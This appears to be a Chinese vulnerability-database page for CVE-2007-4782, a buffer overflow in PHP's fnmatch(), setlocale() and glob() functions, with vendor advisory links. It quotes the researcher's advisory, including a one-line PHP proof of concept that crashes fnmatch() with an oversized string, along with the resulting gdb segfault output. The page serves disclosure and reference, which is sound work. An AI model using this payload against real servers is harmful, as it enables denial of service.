PHPfnmatch()、setlocale()和glob()函数缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1189212 漏洞类型 代码注入
发布时间 2007-09-10 更新时间 2009-02-05
CVE编号 CVE-2007-4782 CNNVD-ID CNNVD-200709-082
漏洞平台 N/A CVSS评分 5.0
|漏洞来源
https://cxsecurity.com/issue/WLB-2007090026
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200709-082
|漏洞详情
PHP是广泛使用的通用的脚本语言,特别适合于Web开发,可嵌入到HTML中。PHP的5.2.5之前版本中存在安全漏洞,包括:fnmatch()、setlocale()和glob()函数中存在多个缓冲区溢出;
|漏洞EXP
Application: PHP < 5.2.3
Web Site: http://php.net
Platform: unix
Bug: denial of service
fonction: fnmatch()
special condition: default php-memory-limit 
-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
===========
1) Introduction
===========

"PHP  is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

======
2) Bug
======

fnmatch() is vulnerable to a denial of service

=====
3)Proof of concept
=====

Proof of concept example :
<?
fnmatch("*[1]e", str_repeat("A", 9638013));
?>

result:
(gdb) run 2.php
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1215469888 (LWP 11079)]
0xb7970d99 in fnmatch () from /lib/tls/i686/cmov/libc.so.6

========
4)Greets
========
Ivanlef0u,Deimos,benji,soh,and everyones on worldnet: #futurezone & #nibbles

=====
5)Credits
=====

Laurent gaffie
contact : laurent.gaffie (at) gmail (dot) com [email concealed]
stay tuned, site comming soon ....

|参考资料

来源:FEDORA
名称:FEDORA-2008-3864
链接:https://www.redhat.com/archives/fedora-package-announce/2008-June/msg00773.html
来源:UBUNTU
名称:USN-628-1
链接:http://www.ubuntu.com/usn/usn-628-1
来源:BUGTRAQ
名称:20070904PHP<5.2.3fnmatch()denialofservice
链接:http://www.securityfocus.com/archive/1/archive/1/478630/100/0/threaded
来源:BUGTRAQ
名称:20070904PHP<5.2.3glob()denialofservice
链接:http://www.securityfocus.com/archive/1/archive/1/478626/100/0/threaded
来源:BUGTRAQ
名称:20070905PHP<5.2.3glob()denialofservice
链接:http://www.securityfocus.com/archive/1/478726/100/0/threaded
来源:REDHAT
名称:RHSA-2008:0582
链接:http://www.redhat.com/support/errata/RHSA-2008-0582.html
来源:REDHAT
名称:RHSA-2008:0545
链接:http://www.redhat.com/support/errata/RHSA-2008-0545.html
来源:REDHAT
名称:RHSA-2008:0544
链接:http://www.redhat.com/support/errata/RHSA-2008-0544.html
来源:REDHAT
名称:RHSA-2008:0505
链接:http://www.redhat.com/support/errata/RHSA-2008-0505.html
来源:MANDRIVA
名称:MDVSA-2009:023
链接:http://www.mandriva.com/security/advisories?name=MDVSA-2009:023